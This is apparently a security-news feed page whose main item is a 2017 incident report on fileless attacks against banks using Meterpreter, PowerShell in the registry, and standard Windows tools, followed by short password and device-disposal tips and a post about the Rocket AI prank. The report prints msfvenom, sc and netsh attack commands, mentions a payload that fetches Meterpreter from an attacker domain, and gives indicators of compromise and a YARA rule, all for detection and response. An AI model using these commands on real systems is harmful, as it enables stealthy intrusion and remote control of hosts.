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Fileless attacks against enterprise networks

Malware Alerts - Wed, 02/08/2017 - 03:58

During incident response, a team of security specialists needs to follow the artefacts that attackers have left in the network. Artefacts are stored in logs, memories and hard drives. Unfortunately, each of these storage media has a limited timeframe when the required data is available. One reboot of an attacked computer will make memory acquisition useless. Several months after an attack the analysis of logs becomes a gamble because they are rotated over time. Hard drives store a lot of needed data and, depending on its activity, forensic specialists may extract data up to a year after an incident. That’s why attackers are using anti-forensic techniques (or simply SDELETE) and memory-based malware to hide their activity during data acquisition. A good example of the implementation of such techniques is Duqu2. After dropping on the hard drive and starting its malicious MSI package it removes the package from the hard drive with file renaming and leaves part of itself in the memory with a payload. That’s why memory forensics is critical to the analysis of malware and its functions. Another important part of an attack are the tunnels that are going to be installed in the network by attackers. Cybercriminals (like Carbanak or GCMAN) may use PLINK for that. Duqu2 used a special driver for that. Now you may understand why we were very excited and impressed when, during an incident response, we found that memory-based malware and tunnelling were implemented by attackers using Windows standard utilities like “SC” and “NETSH“.


This threat was originally discovered by a bank’s security team, after detecting Meterpreter code inside the physical memory of a domain controller (DC). Kaspersky Lab’s product detection names for such kinds of threat are MEM:Trojan.Win32.Cometer and MEM:Trojan.Win32.Metasploit. Kaspersky Lab participated in the forensic analysis after this attack was detected, discovering the use of PowerShell scripts within the Windows registry. Additionally it was discovered that the NETSH utility as used for tunnelling traffic from the victim’s host to the attacker´s C2.

We know that the Metasploit framework was used to generate scripts like the following one:

This script allocates memory, resolves WinAPIs and downloads the Meterpreter utility directly to RAM. These kind of scripts may be generated by using the Metasploit Msfvenom utility with the following command line options:

  • msfvenom -p windows/meterpreter/bind_hidden_tcp AHOST= -f psh-cmd

After the successful generation of a script, the attackers used the SC utility to install a malicious service (that will execute the previous script) on the target host. This can be done, for example, using the following command:

  • sc \\target_name create ATITscUA binpath= “C:\Windows\system32\cmd.exe /b /c start /b /min powershell.exe -nop -w hidden e aQBmACgAWwBJAG4AdABQAHQA…” start= manual

The next step after installing the malicious service would be to set up tunnels to access to the infected machine from remote hosts, for example using the following command:

  • netsh interface portproxy add v4tov4 listenport=4444 connectaddress= connectport=8080 listenaddress=

That would result in all network traffic from being forwarded to This technique of setting up proxy tunnels will provide the attackers with the ability to control any PowerShell infected host from remote Internet hosts.

The use of the “SC” and “NETSH” utilities requires administrator privileges both in local and remote host. The use of malicious PowerShell scripts also requires privilege escalation and execution policy changes. In order to achieve this, attackers used credentials from Service accounts with administrative privileges (for example backup, service for remote task scheduler, etc.) grabbed by Mimikatz.


The analysis of memory dumps and Windows registries from affected machines allowed us to restore both Meterpreter and Mimikatz. These tools were used to collect passwords of system administrators and for the remote administration of infected hosts.

In order to get the PowerShell payload used by the attackers from the memory dumps, we used the following BASH commands:

  • cat mal_powershell.ps1_4 | cut -f12 -d” ” | base64 -di | cut -f8 -d\’ | base64 -di | zcat – | cut -f2 -d\( | cut -f2 -d\” | less | grep \/ | base64 -di | hd

Resulting in the following payload:

Part of a code responsible for downloading Meterpreter from “adobeupdates.sytes[.]net”


Using the Kaspersky Security Network we found more than 100 enterprise networks infected with malicious PowerShell scripts in the registry. These are detected as Trojan.Multi.GenAutorunReg.c and HEUR:Trojan.Multi.Powecod.a. The table below show the number of infections per country.

However we cannot confirm that all of them were infected by the same attacker.


During our analysis of the affected bank we learned that the attackers had used several third level domains and domains in the .GA, .ML, .CF ccTLDs. The trick of using such domains is that they are free and missing WHOIS information after domain expiration. Given that the attackers used the Metasploit framework, standard Windows utilities and unknown domains with no WHOIS information, this makes attribution almost impossible. This closest groups with the same TTPs are GCMAN and Carbanak.


Techniques like those described in this report are becoming more common, especially against relevant targets in the banking industry. Unfortunately the use of common tools combined with different tricks makes detection very hard.

In fact, detection of this attack would be possible in RAM, network and registry only. Please check the Appendix I – Indicators of Compromise section for more details on how to detect malicious activity related to this fileless PowerShell attack.

After successful disinfection and cleaning, it is necessary to change all passwords. This attack shows how no malware samples are needed for successful exfiltration of a network and how standard and open source utilities make attribution almost impossible.

Further details of these attacks and their objectives will be presented at the Security Analyst Summit, to be held on St. Maarten from 2 to 6 April, 2017.

For more information please contact:

Appendix I – Indicators of Compromise

To find the host used by an attacker using the technique described for remote connections and password collection, the following paths in the Windows registry should be analyzed:

  • HKLM\SYSTEM\ControlSet001\services\ – path will be modified after using the SC utility
  • HKLM\SYSTEM\ControlSet001\services\PortProxy\v4tov4\tcp – path will be modified after using the NETSH utility

In unallocated space in the Windows registry, the following artefacts might be found:

  • powershell.exe -nop -w hidden -e

Please note that these IPs are taken from the IR case in which we participated, so there could be any other IP used by an eventual attacker. These artefacts indicate the use of PowerShell scripts as a malicious service and the use of the NETSH utility for building tunnels.


  • MEM:Trojan.Win32.Cometer
  • MEM:Trojan.Win32.Metasploit
  • Trojan.Multi.GenAutorunReg.c
  • HEUR:Trojan.Multi.Powecod
Appendix II – Yara Rules rule msf_or_tunnel_in_registry { strings: $port_number_in_registry = "/4444" $hidden_powershell_in_registry = "powershell.exe -nop -w hidden" wide condition: uint32(0)==0x66676572 and any of them }

Securely Disposing Mobile Devices

SANS Tip of the Day - Wed, 02/08/2017 - 00:00
Do you plan on giving away or selling one of your older mobile devices? Make sure you wipe or reset your device before disposing of it. If you don't, the next person who owns it will have access to all of your accounts and personal information.

Rocket AI and the next generation of AV software

Malware Alerts - Tue, 02/07/2017 - 03:56

The annual Conference on Artificial Intelligence and Neural Information Processing Systems (NIPS) was held in Barcelona on 5–10 December 2016. This is, most likely, one of the two most important conferences in the AI field. This year, 5,680 AI experts attended the conference (the second of these large conferences is known as ICML).

This is not the first year that Kaspersky Lab is taking part in the conference – it is paramount for our experts to be well informed on the most up-to-date approaches to machine learning. This time, there were five Kaspersky Lab employees at NIPS, each from a different department and each working with machine learning implementation in order to protect users from cyberthreats.

However, my intent is to tell you not about the benefit of attending the conference but about an amusing incident that was devised and put into action by AI luminaries.

Rocket AI is the Next Generation of Applied AI

This story was covered in detail by Medium, and I shall only briefly relate the essence of the matter.

Right as the conference was happening, the website was created with this bubble on the main page (see picture below):

Please note that this is not just AI, but the next generation of AI. The idea of the product is described below.

The Temporally Recurrent Optimal Learning™ approach (abbreviated as “TROL(L)”), which was not yet known to science, was actively promoted on Twitter by conference participants. Within several hours, this resulted in five large companies contacting the project’s authors with investment offers. The value of the “project” was estimated at tens of millions of dollars.

Now, it’s time to lay the cards on the table: the Rocket AI project was created by experts in machine learning as a prank whose goal was to draw attention to the issue that was put perfectly into words by an author at “Artificial Intelligence has become the most hyped sector of technology. With national press reporting on its dramatic potential, large corporations and investors are desperately trying to break into this field. Many start-ups go to great lengths to emphasize their use of “machine learning” in their pitches, however trivial it may seem. The tech press celebrates companies with no products, that contribute no new technology, and at overly-inflated cost.”

In reality, the field of machine learning features nothing new; popular approaches to artificial intelligence are actually decades-old ideas.

“Clever teams are exploiting the obscurity and cachet of this field to raise more money, knowing that investors and the press have little understanding of how machine learning works in practice,” the author added.

An Anti-Virus of the Very Next Generation

It may seem that the outcome of the prank brought out nothing new: investors feel weakness for everything they hear about. Investment bubbles have existed and will continue to exist. Just our generation saw the advent of dotcoms, biometrics, and bitcoins. We have AI now, and I am sure that 2017 will give us something new as well.

Yet, after I had taken a peek at data-security start-ups, which are springing up like mushrooms after a rain and which claim that they employ the “very real” AI (of the very next generation), an amusing idea crossed my mind.

What would happen if we did the same thing that the respected AI experts did? We could come to agreements with other representatives in the cybersecurity area (I would like to point out the principle of “coopetition”, which combines market competition and cooperation in the areas of inspection and user protection) and create a joint project. Meet Rocket AV.

If respected IT experts were to advertise it all over their Twitter accounts, then — who knows? — maybe we could attract tens of millions of dollars’ worth of investments.

But no, it’d probably be better for us to continue doing what we are best at: protecting users from cyberthreats. This is the essence of True CyberSecurity.

Unique Passwords

SANS Tip of the Day - Tue, 02/07/2017 - 00:00
Make sure each of your accounts has a separate, unique password. Can't remember all of your passwords/passphrases? Consider using a password manager to securely store all of them for you.